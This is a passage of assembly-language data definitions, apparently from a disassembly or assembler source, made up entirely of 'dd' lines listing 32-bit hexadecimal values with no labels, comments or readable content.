dd 2B358DB7h, 0BFA4D07Fh, 80124387h, 5FE210F7h, 0FF820FC4h
dd 804A90CAh, 0BE6DA56h, 0A5FE943Eh, 0BB2544Bh, 58DEC18Bh
dd 0E09B00DEh, 6039D93Dh, 3A16F0BFh, 810B681Bh, 61872509h
dd 0A554B6AAh, 641637B6h, 9C12ABE9h, 83E0D7A6h, 0CB07E417h
dd 8529AE18h, 4BBBED1Ah, 4D41D0B8h, 0D073A040h, 102268DBh
dd 11E508D4h, 0DC21C630h, 34CD970Bh, 7BB38CE0h, 6C5E099Eh
dd 0C780323h, 51E2045Ah, 39BFFC0Eh, 717C44h, 0DD91BB52h
dd 0AF5097C2h, 0BF608D96h, 0E3468319h, 0E495A57Bh, 904B570Fh
dd 913E626Eh, 9BB0EB00h, 0C411CCF6h, 9D034913h, 0AE3852BAh
dd 0C101D17Ah, 0C868EDDh, 0C7B3504Ch, 992FAFA1h, 21EFC17Bh
dd 0C8669B6Bh, 0C05ECF1Ah, 9235220h, 0FB0CBFC6h, 0C87EDCE1h
dd 0E7284A0Dh, 0A1A45E5Fh, 2E0F69D1h, 6A446159h, 4FAB7BFBh
dd 2B0A90ECh, 0A5F485BDh, 2E8D8061h, 5AAAACD5h, 0F1028898h
dd 0B5EDC8Ah
dd 0F0C0BB40h, 6B2EE101h, 1C2371h, 3CA96B66h, 0EC04BCEAh
dd 0E3E914ABh, 10618EAAh, 0F82DDC2Bh, 7C0E2EDh, 0FE0675A1h
dd 692E0BE7h, 305C297Dh, 0D46E7EEBh, 10483725h, 8542A8h
dd 0D8033FFFh, 50393D80h, 956CC495h, 803B48B7h, 10B64C17h
dd 0BF5B31BEh, 0E2423E09h, 0D32F8C56h, 25B2F1A3h, 4B1E2CA9h
dd 1CB964FDh, 0A75CBF8Ah, 0C6A8C031h, 0F5239Eh, 0B9456781h
dd 0D4C496ECh, 0E53BD812h, 3843D9E7h, 2F868BF1h, 282E0208h
dd 2C553266h, 0A442FF53h, 0EAC539E1h, 0FD06EDBh, 0F7230440h
dd 0B99643EEh, 802288DEh, 0E7A39DBBh, 0B694B021h, 1728D108h
dd 2F98B8E6h, 888254FAh, 1BCE0AE9h, 0F5DAF245h, 19218144h
dd 9357A5C1h, 54DBB7FBh, 0DD8A6133h, 195A9957h, 0A43A5F99h
dd 0F9218D3Dh, 0AAF8971Eh, 71856602h, 0AAD1242Dh, 459522C0h
dd 0F58D880Eh, 0E9121842h, 23DDCCAEh, 25FD9D1Ah, 4A28432Dh
dd 407AEC1Fh, 0D12FBF99h, 80595461h, 9D3378F3h, 0C4B52A95h
dd 4DD4C475h, 0A91C561Ah, 90967125h, 0A56F881Bh, 0E401F344h
dd 609D1AEFh, 0B8C47F1Ch, 0FC901F0h, 17BF15DFh, 0B3312E5Bh
dd 0B21012E9h, 0F900B9D8h, 0CF2B8381h, 76EFFAF7h, 0C7A04D0h
dd 0B8D784E0h, 883388B4h, 0F98014E9h, 361803FFh, 0B29F0165h
dd 0B9EF9932h, 6E4BD016h, 5625B3EEh, 83B9CC0Ah, 0FA04C2CEh
dd 0B598845Fh, 80420F51h, 0BB77605Ch, 0E501164Dh, 98FE5F38h
dd 830F41E9h, 0B65A0243h, 3218B271h, 4F4078D7h, 0AFE72061h
dd 3E03D6BEh, 81564868h, 76348042h, 107E2FB9h, 0C0D2BEDBh
dd 0A185A0h, 0C61ABE8Bh, 0BD0B8678h, 3BD7FD4Eh, 0B1B8FED4h
dd 2280905Ch, 0B3F3DDA4h, 6C44900Eh, 9C8C40A1h, 95FCCC1Ah
dd 0C8706973h, 568B0019h, 162BDC72h, 0BD12316Bh, 0A9B60FE1h
dd 970DDE40h, 155B834Bh, 0BED29B9Bh, 27342080h, 256AB479h
dd 10D159FEh, 66DA210h, 0F032F304h, 0B2EFA1C3h, 0E55A71ADh
dd 1C12AB6Eh, 5261AAEEh, 980625DDh, 0CF35F84Fh, 0CE73A902h
dd 699A5C4Ch, 542D96F6h, 649C5E71h, 1A0B04D4h, 8C510C01h
dd 0E20099C0h, 0FAE14BAAh, 0E8C78DA9h, 4498015Fh, 9CBADA34h
dd 2EF0EDC8h, 8A609C28h, 2D053540h, 0F816F3A5h, 19AC09B9h
dd 0FD19D8Ch, 0EDE1FF8Bh, 640EC038h, 1828D026h, 0DA5EC67Dh
dd 0D50971C2h, 2A45FA9Ch, 14DE6E6Ah, 108A49E4h, 891C0539h
dd 0E30F52BDh, 4129F80h, 0BDE86DBDh, 0F8C15404h, 7FB830B7h
dd 4C75ABA2h, 3C35BF0Ah, 3DB68038h, 0BC8E33DFh, 80D1B9D0h
dd 0B373EB5Ah, 9B129510h, 6AE10BA5h, 0B7C0F41Bh, 0E95B302Dh
dd 0B529651Dh, 0D7B820D2h, 4912A694h, 0D6D7B805h, 0DBAEC5BBh
dd 99BA9606h, 6833B2h, 0B0716DEFh, 1431E1h, 0DC49AE02h
dd 1AD84DC8h, 5859013h, 0A33D610Dh, 0F08EF77Fh, 7AF27Fh
dd 1197FFEDh, 4DB5897Dh, 9D5F1863h, 0CDB9B455h, 255F18DAh
dd 0D9EB501Ah, 0EF903ADBh, 0B79EFBE3h, 4A41F86Fh, 0C67AC1AEh
dd 68006B0Eh, 6C22283Eh, 275FCDBFh, 83550A73h, 0E43D2B04h
dd 9B8E3BDh, 22369F00h, 0BF323DFBh, 0C8C11251h, 0F99ABF2Ah
dd 51CA6297h, 0C2018441h, 5F81B723h, 0F920ADD2h, 0C6EE032Eh
dd 0E9E86BCAh, 0D3970178h, 0FCB2D116h, 0F2040C8Ch, 5076B3B9h
dd 65CA1CBEh, 0B6D2C5C6h, 0F8255CA9h, 6F5597CAh, 156D4087h
dd 519FC885h, 85DDF2DEh, 75AB06A0h, 0B2CDEAFCh, 88F18E00h
dd 0AA4F4ED2h, 605EEC6Ah, 8A12C918h, 0FF9BD701h, 7D4C7475h
dd 9724026Ah, 84DF893Fh, 0C499AFFFh, 0F755F03Bh, 203FBE02h
dd 55613D90h, 5700CC53h, 443E9A71h, 0FDCC0082h, 6AAABB58h
dd 36031D6Bh, 0F61C8D0h, 1A8A9250h, 5FB9A977h, 0BED70224h
dd 0C1C18BDEh, 3B9D03F9h, 66888F4h, 45EE5798h, 0FB03C560h
dd 0B3615952h, 0B6909C6Ah, 7FF15467h, 0AABD4B45h, 39A5CF29h
dd 8084B5D4h, 0A59B09DBh, 0BBC01D88h, 3A2AD753h, 1584219Fh
dd 0A961BA4Bh, 0D715B82Dh, 5F3DFFBDh, 18251D3Ch, 3F1CC367h
dd 0E0BD4F38h, 8CE82EBDh, 0AF33E9C4h, 1CD02F9Ch, 0BAA06E20h
dd 0E5475C02h, 34FE7D87h, 0D7A659E9h, 41BD2528h, 0C3042DA1h
dd 0D25652Fh, 0D4461h, 0D25DD467h, 1C018A8Ch, 0CD984E00h
dd 1AA3FF59h, 0DC8BB661h, 0AD757E00h, 58FF08A8h, 1061804Dh
dd 6BC21C97h, 22375F5Ah, 36B09080h, 5BB237CDh, 6A988957h
dd 17302BFCh, 25ED8542h, 1AE62C91h, 0A6099573h, 0BE04B184h
dd 7127F18Bh, 0DC56A2C2h, 251AF966h, 785B142Dh, 66181D79h
dd 0DC01C47Fh, 22188F95h, 40315EFDh, 0AED9342Bh, 0BEDEF81h
dd 2FE53A41h, 48AAFD6Ah, 7DB04F17h, 0DF818019h, 990E760Bh
dd 845DFB45h, 0B937D0F7h, 0C99AD2A4h, 4FFEA183h, 914C68A8h
dd 6DB5AC2h, 0FB89ABA2h, 82AAD869h, 0FFAB899Dh, 1B9433B5h
dd 0A70C8053h, 2C1DF14Eh, 454CCB4h, 0AA1F6DBDh, 9F0536DDh
dd 0B78752AAh, 0C4DA22AFh, 0B9029924h, 73E6938Dh, 67D933A0h
dd 0DC12AD2Fh, 0C170E2C0h, 97C78100h, 4FCF256Ah, 47986BC6h
dd 38D634D2h, 800F1280h, 0F72CEA0Ch, 2B5259Dh, 7BB51455h
dd 337C9D91h, 0BD2007DEh, 60F8C7ABh, 8666DDE9h, 0E21DBBE4h
dd 0B3025046h, 442CC171h, 5985134Ch, 569BAB1Ah, 675D9896h
dd 122EC54Ch, 0F2B70DE1h, 40BF6607h, 0B333560h, 3CFF2FAFh
dd 0DF35BFF5h, 50FCE801h, 0B33B6056h, 0C0A47B95h, 1B13C600h
dd 0EAF07C5h, 0B2780492h, 0EB5ABE05h, 4EB70B88h, 769955h
dd 580501Fh, 6443441Dh, 0FEC4701Fh, 0F8ADDA62h, 58C17ACh
dd 3DD53B68h, 814FB860h, 427B77ADh, 0EE6283C4h, 1D6303DFh
dd 3DC193FEh, 553B242h, 1FA59D23h, 92BD98FBh, 8F378000h
dd 1E96B6AAh, 0C6502D7Dh, 1D880B5Bh, 0C3810009h, 42D6ADDBh
dd 44CD9495h, 2BFB0940h, 73FF9694h, 834A0D3Ah, 15B25AA6h
dd 98A7A130h, 2F5D3206h, 6D55FA53h, 5A62281Ch, 6FC58909h
dd 0B52D6BF1h, 281C94B8h, 308429D7h, 0D7FB72A5h, 0FF0D3582h
dd 9D3F0BCAh, 574805A2h, 5B51843Bh, 94BF3D84h, 0E160E635h
dd 0CC2F8388h, 150042DAh, 79CD3804h, 77FB8Ch, 0C99F8209h
dd 0EF120C2Ch, 0A4B58EFCh, 0E6BFF9C8h, 297CF0E0h, 9205035Eh
dd 577E3C7Dh, 5FDB5218h, 4AEB24FEh, 506EA30Bh, 3316BB44h
dd 6101B2AAh, 37FA8E52h, 52F017Eh, 0CB5B5090h, 0B8AEEDA5h
dd 0E9F90091h, 0A3BEF2FBh, 40F4800Bh, 0FEDA8A25h, 4603F43Ch
dd 4F68CB94h, 29A0919Ch, 4A38FD2Bh, 1DE8D7B9h, 98F54817h
dd 0B5CCE830h, 54AB00ACh, 2BB12FE7h, 8D729C55h, 65780525h
dd 6EA650C7h, 42630E1Fh, 8D89B201h, 742B18DDh, 80DCB8C2h
dd 38BA3E98h, 30C700B3h, 0B160A8B5h, 0EA5B63B6h, 5BC23EF8h
dd 11EDD1FFh, 822709EEh, 0FF18B508h, 0F127FACFh, 0B2B3874Ah
dd 93ED796Ah, 0B9852CC0h, 0F28B5A56h, 905B0561h, 0D1AFA4B3h
dd 0E661F9BBh, 4DC69FCh, 0E9490A8Dh, 4EF84011h, 0DB1C9Ch
dd 421961EAh, 24516528h, 0FE220B09h, 12FDDB4Ah, 0E273AC4Bh
dd 0FDA74A2Eh, 0CD160237h, 0DB31AB05h, 0DA1758B8h, 156BFFA6h
dd 3F12A647h, 0C04AA83Ah, 0B28D022Dh, 4CF33AC8h, 1B05007Eh
dd 50118387h, 113EBBFh, 77524F7Fh, 12918B0Eh, 981E8B2h
dd 2B0DFD85h, 2D80CC28h, 7FE2D6CBh, 0FC25055Eh, 1846D635h
dd 6350AA4Fh, 0FDB42892h, 3CE1FF53h, 0C76180B6h, 0FA43F29Eh
dd 7E271CA3h, 2E307A7h, 0B102AB33h, 0BDFD2D31h, 58400A5h
dd 73223E50h, 0DEBFD81Ch
dd 5B0CD0C9h, 5A3F11B6h, 0CCFBEB24h, 132D0BCDh, 9D7A580Eh
dd 0E68CFB5Eh, 41791070h, 89112A2Ch, 71E416AEh, 0C5A40252h
dd 0CE028A0Eh, 91552051h, 5BD7BA6Eh, 0B0A5E075h, 0E0B3274Bh
dd 2135BA4Eh, 0F85292FFh, 71C03840h, 38FD225Fh, 2FC73C58h
dd 0D38620A6h, 0BB09D581h, 7F1C3671h, 0AB10FE8h, 21897884h
dd 66270C5Dh, 0B7017E78h, 0ACE96448h, 0DB8017C2h, 4432E038h
dd 95FE24Ch, 10059D0Bh, 0F51B94FFh, 853A3580h, 9920D1A7h
dd 0AE6B6D1Fh, 0C5C2865Ch, 621538FCh, 0C6785757h, 64FF5B4Eh
dd 851E95CEh, 0C232AB2Dh, 7AB9550Bh, 0BC20E6E9h, 120C10D4h
dd 0BB228136h, 85292430h, 0B62AEFE9h, 953E2252h, 0C5086845h
dd 2778480Ch, 0F4009759h, 7F463877h, 1F6E3C79h, 64851274h
dd 0FE92AF57h, 9FE6F760h, 69207498h, 0B7615A12h, 6CFE108Ch
dd 0FC4F7959h, 0CCB385A2h, 0F09FB7EFh, 4F4DB56h, 0B8B94615h
dd 0C47AEF0Eh, 0F2827A00h, 63B8281Fh, 0ACC0C44Ah, 92958531h
dd 9B3FEF6Fh, 29BE8079h, 95DFC758h, 0EC18A212h, 0F801FAD6h
dd 1944AB3Ch, 7029D22Bh, 0F4AD4B8h, 292690CFh, 0F828163Bh
dd 0D7118BDBh, 0D20B47BDh, 8B56100Ch, 8D9095DAh, 5E2BD03h
dd 0F4E9AA9Ch, 758840D8h, 2A753617h, 2F8A009h, 0C12E56AAh
dd 0E20BDB5h, 22913098h, 0B280B381h, 0D1ACABD3h, 0D9B76028h
dd 27EFA888h, 9C7F2349h, 29216A16h, 11E50967h, 0DA317A5Bh
dd 0DC6A1881h, 4C13B32Bh, 3A04E1FFh, 3BAC01EDh, 8A2256E2h
dd 0E93CD5FCh, 0AA58AD9Bh, 0CA484AD9h, 57013511h, 1911BC04h
dd 0B564510Fh, 5F16D1ADh, 6C6E2A60h, 40BF6807h, 4A21E1F3h
dd 10002BEDh, 0E1B52B60h, 54CC9713h, 85EC3600h, 538A1479h
dd 615A2D5Eh, 0BF8445FEh, 0FDA9B826h, 5B81AC4Eh, 1FBC7AFDh
dd 2651C3A0h, 41DF3A95h, 136BEDE7h, 0ACD1FD42h, 3168C16h
dd 7C0A23DBh, 908BA54Dh, 7089F557h, 0D3AD09D7h, 92909E39h
dd 19560457h, 5F5B0708h, 2212DC9Bh, 8B34F198h, 95091522h
dd 6802D951h, 86252E4Ah, 0E4DDh, 0BB8AEE0Ch, 23ED56FCh
dd 1F7B9204h, 17E4423Bh, 4CB209BFh, 2B7F41F8h, 0B5A30040h
dd 9F79F9D5h, 190044B7h, 0EDDE2359h, 652F131Bh, 0C5CDA80Eh
dd 44EFBD2Bh, 0EEDE8A18h, 0DED7617h, 4A208584h, 8847DDE8h
dd 99A8A4C0h, 7CC80065h, 0BC08EFE2h, 4D02D18Ah, 36E0CEE7h
dd 7D46773Dh, 0F48D5B4Ah, 40D95360h, 2425E922h, 0D00B7302h
dd 0E04A9FA3h, 0F37125FEh, 0FB274ED4h, 35593300h, 0E1B101C5h
dd 530B03E0h, 725DD227h, 945B4A00h, 0E820A9E5h, 438736Ah
dd 3F52A4A9h, 0D3CCA87Ch, 571C30FEh, 4B05EB81h, 5B677C65h
dd 0D20DDABFh, 0FC322B77h, 0EC815DE5h, 0AF2E1BCBh, 788FFBACh
dd 3FFD8E2Bh, 0EDB569E6h, 437281FEh, 227FF47Ah, 97427692h
dd 0C0E3A85Dh, 5423A509h, 8D0142E9h, 9674685Dh, 0EDDE5F8Bh
dd 42F14F1Bh, 69F654FEh, 3126CD4h, 24F2CBBFh, 0B0675C60h
dd 496BC690h, 0ED821F57h, 0B11840D7h, 2A8B1D5Eh, 47F80B00h
dd 596160F1h, 9A4F0EB8h, 0EEF641BDh, 79B18725h, 0EF4DD147h
dd 84D951E2h, 0C012DCABh, 254BCED3h, 81DA49F9h, 926EBF42h
dd 4CA507F7h, 61DE4783h, 0D4AD5071h, 0B2374E1h, 0EE80506Ch
dd 0C2DCFBA3h, 0E680DB01h, 75F47B71h, 9310B86Fh, 0BB2324EEh
dd 3E01B68Ah, 8C90AB18h, 0C928F040h, 0E1D0D727h, 0AA041166h
dd 0FAA49CD7h, 45E5E3AFh, 356FCD4h, 5D19D25h, 6BAF5B13h
dd 251B2341h, 1A50107Fh, 95306B1h, 9305659Dh, 22C78101h
dd 6173A091h, 4834E37Bh, 789B2FF2h, 95F6988Ah, 0BD107234h
dd 34F20AA9h, 8018BDD5h, 533AB19Ch, 990B2CA4h, 5FBD2911h
dd 63C46892h, 0B14A3698h, 6BFF7285h, 3016E22Ch, 2B5F49C7h
dd 2EB9DA16h, 220597B8h, 8FF38012h, 731EA81h, 6562392Bh
dd 0ECA63EE3h, 2233C1F1h, 2A2CCA06h, 0B2C728F4h, 283D2DF5h
dd 49DE43FCh, 40822F16h, 7A419580h, 1300905h, 0CC8F4A77h
dd 0DE9D018Ah, 0B509BD99h, 0CD5F0B7Dh, 0D81CC470h, 0FCF8C842h
dd 94A8545Fh, 8D59F989h, 0BCD78084h, 42A2A3D5h, 0C5CA9300h
dd 8B36C690h, 6764951Fh, 8D3CDA84h, 4494F5C0h, 495995Fh
dd 0D55B0DBAh, 5DEEA96h, 8774C6C2h, 0AB67C360h, 0F9BD8916h
dd 2B035DBBh, 0F5C62FC7h, 0E5225398h, 0A58D1211h, 0CB2DFF1Dh
dd 1546A3Fh, 9D2BAF58h, 0C74E1F25h, 3196A5Eh, 0BD232FEEh
dd 0D8AF855Dh, 0FF03BF58h, 618FD489h, 0DE64E884h, 9ABB09E8h
dd 90840440h, 9DE3AF45h, 65E38104h, 0C1C3ACD9h, 10199D29h
dd 3B6DBD11h, 5B95D2B4h, 0B2A4E7D9h, 130EF69Fh, 8157C160h
dd 3316062Dh, 0F30861D0h, 4EF4EFA4h, 0AB1961B9h, 2BEA5ABBh
dd 95EDF912h, 7F0049B8h, 3EEB702h, 0E27820BFh, 9AFC950Bh
dd 25F9AED4h, 0AD90874Dh, 0DB0B6409h, 0E4F04AD2h, 77A500ECh
dd 51E58183h, 0AF007AA4h, 687808FBh, 0BF415B2h, 827294FFh
dd 0D4C9D354h, 3FA9407Dh, 0E2005C0Dh, 0ADF7E0Fh, 0ADC123h
dd 0A458C0FCh, 6C14BB53h, 44736D31h, 0AB6C0D9Dh, 0C612B794h
dd 0AB7F527Ah, 0D9003E7Bh, 9345C10Bh, 870179D6h, 0A3E8DF81h
dd 85784883h, 14CB80C2h, 830A7055h, 9230C5F7h, 1731FF77h
dd 88CCF8AAh, 680EC340h, 40165B57h, 977028C7h, 3E0C0298h
dd 96615AC6h, 9E9783E6h, 9571849Fh, 0B91DD284h, 8E08D251h
dd 17D5A4EDh, 0FECDC4DDh, 9486EDAh, 5022407Eh, 56E98A5Eh
dd 80C09B4Fh, 1F035467h, 0A54E2E33h, 25CD09BDh, 0B87F65F5h
dd 0E531FA7h, 0DC186D0h, 88C8B1BAh, 927B2F5Dh, 7127FA5Bh
dd 0EFA42421h, 0C8BE9A6Ah, 7C7C018h, 0BA4BA9C1h, 3F22478Ah
dd 0BB359895h, 146809ACh, 4BF3C65Eh, 0CD7A0BD1h, 96C9164h
dd 24874A76h, 0FF5785A4h, 0B63A5B3Dh, 0C75AA08Bh, 0ABE92571h
dd 238D1758h, 0A5F76061h, 123F0170h, 0BE625D6Bh, 41A968D8h
dd 20C1D908h, 105A2571h, 0FDD76FA2h, 7DDEA8BCh, 0EEC9267Fh
dd 0CD8D0A8Bh, 0D88B898Ch, 36401B62h, 0E89F2555h, 831177CEh
dd 0D000CDF4h, 0D501397Fh, 0E6B341E3h, 4E97905Fh, 7A3C9455h
dd 0D0C104B1h, 20FBF92Dh, 598B1A4Ch, 0A516DD00h, 78C25358h
dd 5A5B5CF5h, 0FB6A8516h, 220ADE6Fh, 1A984B3h, 60BFAA3h
dd 8FB64753h, 7F5F25B0h, 0DF2D633Dh, 0AA01C625h, 0B5907E88h
dd 0C94028D6h, 201DC5h, 0AE793F75h, 612BF2B6h, 77C10997h
dd 0A933837h, 112204FAh, 78095212h, 0AD37576Ah, 832057ADh
dd 8B66AD4Fh, 6464FC9Dh, 0BB98760h, 1F93E4D1h, 2E4B9DBFh
dd 0F99D8F98h, 0B8C77FE6h, 2E35BE9h, 3A18F77Dh, 22D934E1h
dd 459D0964h, 0CF687126h, 26828AF0h, 6513DF27h, 0CE1C81A8h
dd 9A224F02h, 5D59B541h, 61099666h, 5D60026Ah, 5E005C64h
dd 0F513E8A6h, 8F1AF1h, 0FB8506D7h, 0B2BB096Eh, 6BE91951h
dd 0CF0495C2h, 731403Ah, 0A62D991Bh, 0DBE96061h, 0AF8E4FB0h
dd 2705C7Fh, 0F88B538Eh, 7F5C6BE9h, 81FAAD70h, 0B5E47051h
dd 0BB5BE528h, 7F0F9125h, 6C757B32h, 0DE5AB52Dh, 88E2BF1Fh
dd 76A77A9Eh, 0FA01DC1Fh, 12BA58C6h, 7EA0171Dh, 9A79433h
dd 647326E6h, 0D8A8FC16h, 0A1519A1h, 3D00C953h, 176D8D1Fh
dd 58052B5Eh, 6A1AE229h, 0E0CDE6EAh, 404F3Ch, 64258C63h
dd 0CF8179F7h, 67C22B0Ah, 0F802E258h, 0C0705F4Ah, 940469EFh
dd 0E6D992A7h, 448223Eh, 4DB7BA60h, 0BBCFC068h, 615FD640h
dd 2B5301FEh, 92D059Dh
dd 82EEFD2Eh, 0F56E8DCBh, 0DCB768FAh, 92FFC967h, 67687F60h
dd 1DC40E8Ah, 0F4AA8B60h, 8D10235Bh, 6127129Dh, 0AA844943h
dd 0C63BD599h, 6598CF38h, 200E294Ch, 4689950Eh, 0E4007D44h
dd 50E10109h, 7B43F5Ah, 28F816A6h, 2FEAA05Bh, 108213Ah
dd 0AD203195h, 9D0564F6h, 9B311E61h, 0E82BC82Bh, 0D4D12F9Eh
dd 30FF69CCh, 6C0F701h, 0E961A262h, 0E5B3179Ah, 4C50EC30h
dd 61475A55h, 3FF9BFCDh, 0E4841CFCh, 8FBD22C8h, 1CD7A020h
dd 0B51F495Ah, 39C1D04Eh, 5CE9F337h, 0A9E615A7h, 6656B295h
dd 0DD6E005Bh, 0F706A9C5h, 9027C27Bh, 0DA65681Dh, 66FE1326h
dd 9D9CBF21h, 0B75A4AB7h, 0CCF15F08h, 0EC607102h, 0E2810241h
dd 7CDD8FA4h, 64020E46h, 0F3806E40h, 0C2475C61h, 0B70B7BB6h
dd 6E940072h, 0F40AC68Ch, 0A5C8599Fh, 823537F7h, 0C62AECADh
dd 6B67CDDFh, 0D8346EB0h, 7F681B17h, 0B59C60EEh, 0B9802211h
dd 0A7104AD8h, 0ED8EA0C9h, 0D7DA0B8Bh, 2C1811ABh, 3F0B560Eh
dd 795A6850h, 0A5586936h, 28DC699Ch, 6BB5B50Bh, 4FFC5ADh
dd 61ABFED5h, 102B53Ah, 3530D22Bh, 8F764B58h, 154E6286h
dd 0D0B37B1Fh, 10BD051Fh, 884029h, 0FEAC156h, 95ED08F6h
dd 74DBD600h, 0B6057ADAh, 0B3DD4A9Fh, 1E44501Fh, 60E7739Eh
dd 58FDBDD2h, 0ACBA044Ah, 0EA4F8190h, 3C664098h, 8A4B9DBFh
dd 0C380C28Eh, 0C437DF6Dh, 0C547FC00h, 27FF728Bh, 147F0582h
dd 0E17070B7h, 0F108F63Bh, 29304B77h, 0BBE993F9h, 658B882Ch
dd 0E9F53561h, 7AB15E9Bh, 0AAB7946Bh, 1723456Bh, 93E6B200h
dd 0BDE1FF49h, 56842971h, 0E2BF6160h, 3E9849Ah, 80909EAEh
dd 0C4BF4CCEh, 0D459976Fh, 60CBDC27h, 0FFD78057h, 16CA5B4Bh
dd 0EA6CC735h, 0D803A86Fh, 3C3F127Ch, 292F3002h, 550E8DBDh
dd 5B110567h, 907A9951h, 8D316036h, 55202127h, 51550CB2h
dd 8C22512h, 8B70975Bh, 0DC130401h, 0BDE566FAh, 623C4814h
dd 552A5988h, 0A8991699h, 0FD278C3Dh, 0AF1CFF1Fh, 0FDC06A95h
dd 6AEEC552h, 5EDEE99Ch, 963F8FEh, 823B01E3h, 0BAA60A39h
dd 0B772F587h, 0D99F6806h, 95C9F224h, 2A60C780h, 0F0BF0DFAh
dd 9F2542AAh, 19219D04h, 43202B29h, 0ABA71Fh, 4D91E5C1h
dd 0D5717827h, 9531EB04h, 0E94222A9h, 0B01D9h, 0DAA1F0E8h
dd 85F54B47h, 10DEFA6Dh, 43BA0BC0h, 0EED73A42h, 0B1EF52FBh
dd 9EE72A7Bh, 0E5C0C6B3h, 2B0076CEh, 81DBE2F0h, 25D313EBh
dd 1A7F1F6Fh, 690DC0B3h, 73DC9F05h, 0A309E660h, 0F71707BCh
dd 31BB6052h, 6C20453Ch, 0F6DA2DFCh, 1662E9D9h, 0BD0010D1h
dd 5A324D2Ah, 2957319h, 34D64402h, 324C2E7Ch, 4689FC16h
dd 19A6FFFh, 6520ADBDh, 0E1CA91D9h, 22C879B5h, 5645A815h
dd 4A6700F0h, 0D26DB6F3h, 1200C53Ch, 0F8C0A5CEh, 127BBF50h
dd 0EE76AAFFh, 0E33DDC7Bh, 86CE91A5h, 0BD22CD20h, 6881D971h
dd 52670461h, 0CF81A324h, 78CF9E76h, 0E091E653h, 2447C55Bh
dd 9E48EB4h, 0CD5F5444h, 617349C2h, 3F700B38h, 271B5D60h
dd 41B50E13h, 0D7D3C092h, 7ED9A362h, 2B228600h, 0FF28ECh
dd 9E8770B8h, 16E28D32h, 0DB7D5C39h, 12FBC8F4h, 0A8DD8A90h
dd 0E900AAC0h, 0B1AE7ABDh, 7C718214h, 4A035095h, 6AC8AADFh
dd 2EE0054h, 1BC8EA10h, 0F39F8578h, 7C5EDA91h, 145DCEC1h
dd 0EF5F941h, 545B382Eh, 557A2BE1h, 4198561Fh, 368B94F3h
dd 8DEC2B49h, 0B1B50181h, 3BE9010Ah, 786417ABh, 0E4484508h
dd 6BFB4EE6h, 0D9F6B491h, 0B81F4200h, 8D89A010h, 0F5B7A9BDh
dd 0B5BD63B0h, 0D0B7054Bh, 0B61C09A0h, 11E6A013h, 30AA28BAh
dd 44921C97h, 72ED897Bh, 0F5EA501Ah, 0B12AAD48h, 7A7E0464h
dd 0C6A2CCEh, 0B78BDF1Dh, 5935FB54h, 5080181Bh, 1327A856h
dd 0BFCA1638h, 0A95DB18Eh, 0ED0FB8B8h, 0A2846F05h, 0C0BDDA49h
dd 0B711FD5Eh, 12AC5DF3h, 53125525h, 0AF3757h, 0AD58DF9Ch
dd 1C04EB4Dh, 50A22918h, 5BD92CC1h, 0A8B2A26Fh, 377F02A4h
dd 0F77D1F4h, 0ADA04F5h, 9199D42h, 28E96A5Ch, 29C5A59Bh
dd 8142E9C4h, 5519DF80h, 0CF5300BAh, 0B474E751h, 0F74E95D9h
dd 5D0C792Dh, 312FC9B7h, 5DCCEC4Dh, 7F28256Ch, 0ED5520C2h
dd 0CCB3C5BFh, 9DF4135Ah, 0B5407100h, 0F6F9B438h, 0BEFD25C2h
dd 0A6CD44C2h, 0EBCF6FE0h, 0D02B0416h, 0BFD1AB17h, 1CC8E6DAh
dd 61A067C0h, 8A6C01F7h, 0B77E8BE1h, 47FD2B76h, 10367A9h
dd 69E82CE5h, 0DB3B6ACAh, 0D821C9D5h, 7A25417Dh, 61F36104h
dd 0A05A8AABh, 139585A0h, 0FA187CBEh, 604B146Bh, 53F76E02h
dd 4DB61303h, 0C6C00186h, 8EE709AEh, 12F9961Dh, 0DF602B4Fh
dd 0F92702E6h, 0B77FE61h, 0B5FD343Eh, 5230AFC3h, 58E24A6Ch
dd 96A6E090h, 6AE975ECh, 0E7AF8Ah, 0C60A68E0h, 714E822h
dd 0CD3BC095h, 0DF2D906Ah, 0BF0053E3h, 0A578145h, 2667542Bh
dd 75DB5FEh, 65295FFFh, 0FBE52D9h, 0E3B21D3Bh, 0A51088A9h
dd 0D7B21F01h, 9ECD2B09h, 0CA7F1FF1h, 0DBBF1FF5h, 7F3792Fh
dd 0D57C4C45h, 9DB09C2Ch, 5B2649B7h, 0A967FD2Bh, 0FAAF656Ah
dd 442A4B4h, 0FE48ECBh, 23E7BB86h, 0DBBD9000h, 0CCD36315h
dd 2711CEB5h, 147F10E5h, 0BDCD9FA3h, 4292A840h, 34D107B3h
dd 99DB531h, 0A55CCDFFh, 0ABF56E84h, 0BA81D52Ah, 388D0F67h
dd 0EDE5CAA6h, 0D427C69Ch, 7CE6DE5Dh, 7AFE494Fh, 5419295Ch
dd 63FA4428h, 0FE531F30h, 973CE9DEh, 0DC90B70Bh, 310052EEh
dd 0F1B22C27h, 5F8B4B59h, 64E420C1h, 6E0007CEh, 0D6686C9Dh
dd 97B75CB0h, 7A339F19h, 390EE88h, 0E46458BBh, 9BBC500Bh
dd 286DC1C4h, 0C26AA3F6h, 0E484F947h, 6AFA3103h, 6225F67Fh
dd 0D789B310h, 181EE304h, 4E09F1A4h, 6B74970Ch, 90458A54h
dd 8DA4C286h, 0B4DEE1D7h, 0A6F3F837h, 7044B113h, 856ED1Ch
dd 9AF86BA9h, 4C1F7609h, 0A189DF3Eh, 0CF55BECAh, 60744053h
dd 0C209988Dh, 0D6DCEC3Fh, 97312AEDh, 97D4B0F4h, 2E2785B0h
dd 42C76500h, 0F1DDC296h, 9D0B0972h, 0CA5611D5h, 8088E9E7h
dd 0B257F987h, 0FF32AD7Ah, 5C2F95D1h, 3AA37136h, 0EED738DEh
dd 1C532153h, 77021022h, 6309E037h, 7FE075DBh, 495AAF7h
dd 900B1255h, 52158224h, 0C0806EBCh, 0FC026216h, 0E3BC2F00h
dd 4AA6E01Eh, 37FB014Ch, 0C38B6059h, 0AAF47B61h, 0B09062F8h
dd 0FB572871h, 0CA537235h, 8F6EE901h, 20D5DFDBh, 0FB4E382Eh
dd 0B5E69792h, 3004C12Dh, 0C6205Bh, 40226D46h, 8597D33Ch
dd 0F9D8F212h, 0A9D3C0ADh, 483A848h, 59BD0B87h, 82E3AA0Ch
dd 0E8D0BE4Ah, 0B6DDB350h, 65372791h, 4B1CEC03h, 0E131F003h
dd 0DF700B60h, 3755FA8Ah, 0F7302514h, 0CFB057D3h, 5BFCB813h
dd 9E00CFE2h, 0ED479472h, 4504414Ah, 0F6EE8013h, 0F74FA8B8h
dd 8969E0FCh, 952FE68Dh, 17E420CDh, 0B7E69E60h, 0FF6A7201h
